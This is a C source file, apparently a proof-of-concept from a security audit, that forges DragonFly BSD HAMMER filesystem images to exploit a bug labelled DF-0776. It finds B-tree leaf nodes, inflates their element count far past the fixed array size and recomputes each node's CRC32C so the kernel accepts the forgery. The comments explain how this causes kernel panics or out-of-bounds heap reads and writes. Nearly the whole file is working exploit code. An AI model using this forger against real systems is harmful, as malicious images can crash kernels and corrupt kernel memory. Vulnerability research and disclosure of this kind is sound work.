/*
 * craft_img.c - HAMMER v1 image forger for DF-0776.
 *
 * DF-0776 root cause: hammer_load_node() (hammer_ondisk.c:1315) validates a
 * B-tree node loaded from disk ONLY by recomputing its CRC32C.  The node's
 * `count` (int32, offset 16) and `type` (uint8, offset 20) fields are then
 * TRUSTED UNVALIDATED and used as loop bounds / bcopy lengths against the
 * fixed-size elms[63] array (hammer_btree.h:244).  All in-kernel bounds
 * checks are KKASSERT (systm.h) -- a no-op on production (INVARIANTS-OFF)
 * kernels and a panic-only guard on GENERIC.
 *
 * This forger:
 *   - locates every B-tree LEAF node in a HAMMER v1 image (type == 'L'),
 *   - sets leaf->count = FORGED_COUNT (e.g. 200, >> HAMMER_BTREE_LEAF_ELMS=63),
 *   - recomputes the node CRC32C over [4:4096) so hammer_crc_test_btree()
 *     (hammer_crc.h:237) accepts the forged node,
 * so that:
 *   - on GENERIC (INVARIANTS ON) the KKASSERT at hammer_btree.c:1278
 *        KKASSERT(node->count <= HAMMER_BTREE_LEAF_ELMS)
 *     fires on the first readdir/stat btree_search -> panic.
 *   - on production (INVARIANTS OFF) the KKASSERT is absent and the leaf
 *     search loop at :1289-1290 hammer_btree_search_node()/while(i<count)
 *     reads elms[63..199] out of bounds (OOB kernel-heap read), and an
 *     insert reaches hammer_btree_insert() :819-824 whose
 *        bcopy(&elms[i], &elms[i+1], (count-i)*sizeof(elm))
 *     writes (200-0)*64 = 12800 bytes out of bounds (OOB heap write).
 *
 * Struct offsets are hardcoded from sys/vfs/hammer/hammer_disk.h and
 * hammer_btree.h (verified against the audit tree). CRC32C is the kernel's
 * own sys/libkern/icrc32.c (compiled for userspace via #ifndef _KERNEL).
 *
 * Build:  cc -O2 -o craft_img craft_img.c icrc32.c
 *   (icrc32.c copied verbatim from sys/libkern/icrc32.c)
 * Usage:  ./craft_img <image.img> [forged_count]   (default 200)
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>

/* ---- userspace CRC (the kernel's own iscsi_crc32, from icrc32.c) ---- */
extern uint32_t iscsi_crc32(const void *buf, size_t size);

/* ---- HAMMER on-disk constants (hammer_disk.h / hammer_btree.h) ---- */
#define HAMMER_FSBUF_VOLUME       0xC8414D4DC5523031ULL
#define HAMMER_BTREE_TYPE_LEAF    ((uint8_t)'L')
#define HAMMER_BTREE_TYPE_INTERNAL ((uint8_t)'I')
#define HAMMER_BTREE_LEAF_ELMS    63
#define HAMMER_BTREE_INT_ELMS     62

/* volume_ondisk field offsets (struct hammer_volume_ondisk) */
#define VOFF_signature    0
#define VOFF_vol_buf_beg  24
#define VOFF_vol_version  152

/* B-tree node (struct hammer_node_ondisk), 4096 bytes */
#define NODE_SIZE         4096
#define NOFF_crc          0     /* hammer_crc_t crc -- MUST BE FIRST */
#define NOFF_count        16    /* int32_t count */
#define NOFF_type         20    /* uint8_t type */
#define NOFF_elms         64    /* union hammer_btree_elm elms[63] */
#define HAMMER_BTREE_CRCSIZE (NODE_SIZE - 4)   /* crc covers [4:4096) */

/* little-endian helpers (DragonFly x86_64 guest is LE) */
static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); }
static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); }
static uint64_t rd64(const uint8_t *p){
    return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) |
           ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) |
           ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56);
}
static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; }

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "scratch.img";
    int32_t forged_count = (argc > 2) ? atoi(argv[2]) : 200;

    if (forged_count <= HAMMER_BTREE_LEAF_ELMS) {
        fprintf(stderr, "forged_count=%d is in-range (<= %d); nothing to prove\n",
                forged_count, HAMMER_BTREE_LEAF_ELMS);
        return 1;
    }

    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* read volume header at offset 0 */
    uint8_t vhdr[256];
    if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) { perror("pread vhdr"); return 1; }
    uint64_t sig = rd64(vhdr + VOFF_signature);
    if (sig != HAMMER_FSBUF_VOLUME) {
        fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig);
        return 1;
    }
    uint32_t vol_version = rd32(vhdr + VOFF_vol_version);
    printf("vol_version=%u (>=7 => iscsi_crc32 / CRC32C)\n", vol_version);
    if (vol_version < 7) {
        fprintf(stderr, "WARNING: vol_version=%u (<7) uses crc32 not iscsi_crc32\n", vol_version);
    }

    /* get image size */
    off_t imgsz = lseek(fd, 0, SEEK_END);
    printf("image size=%lld bytes\n", (long long)imgsz);
    printf("forged_count=%d (HAMMER_BTREE_LEAF_ELMS=%d, INT_ELMS=%d)\n",
           forged_count, HAMMER_BTREE_LEAF_ELMS, HAMMER_BTREE_INT_ELMS);

    /* scan every 4KB block for B-tree leaf nodes */
    uint8_t node[NODE_SIZE];
    int patched_total = 0;
    off_t off;
    for (off = 0; off + NODE_SIZE <= imgsz; off += NODE_SIZE) {
        if (pread(fd, node, NODE_SIZE, off) != NODE_SIZE) continue;
        if (node[NOFF_type] != HAMMER_BTREE_TYPE_LEAF) continue;
        int32_t count = (int32_t)rd32(node + NOFF_count);
        if (count < 0 || count > HAMMER_BTREE_LEAF_ELMS) continue;  /* skip already-bad */

        /* self-check: existing node crc must be valid (confirms real node + our CRC) */
        uint32_t stored_nodecrc = rd32(node + NOFF_crc);
        uint32_t calc_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE);
        int node_crc_ok = (stored_nodecrc == calc_nodecrc);
        if (!node_crc_ok) {
            /* not a real btree node (coincidental 'L' byte) -- skip */
            continue;
        }

        printf("  @node 0x%llx  type=LEAF count=%d (crc ok=%d) -> forging count=%d\n",
               (long long)off, count, node_crc_ok, forged_count);

        /* FORGE: count = forged_count */
        wr32(node + NOFF_count, (uint32_t)forged_count);

        /* recompute node crc over [4:4096) */
        uint32_t new_nodecrc = iscsi_crc32(node + 4, HAMMER_BTREE_CRCSIZE);
        wr32(node + NOFF_crc, new_nodecrc);
        if (pwrite(fd, node, NODE_SIZE, off) != NODE_SIZE) { perror("pwrite node"); }
        printf("    rewrote node crc: was %08" PRIx32 " now %08" PRIx32 "\n",
               stored_nodecrc, new_nodecrc);
        patched_total++;
    }
    printf("PATCHED %d leaf node(s). count now %d (>> %d).\n",
           patched_total, forged_count, HAMMER_BTREE_LEAF_ELMS);
    if (patched_total == 0) {
        fprintf(stderr, "ERROR: no valid leaf nodes found -- nothing patched\n");
        return 2;
    }
    close(fd);
    return 0;
}
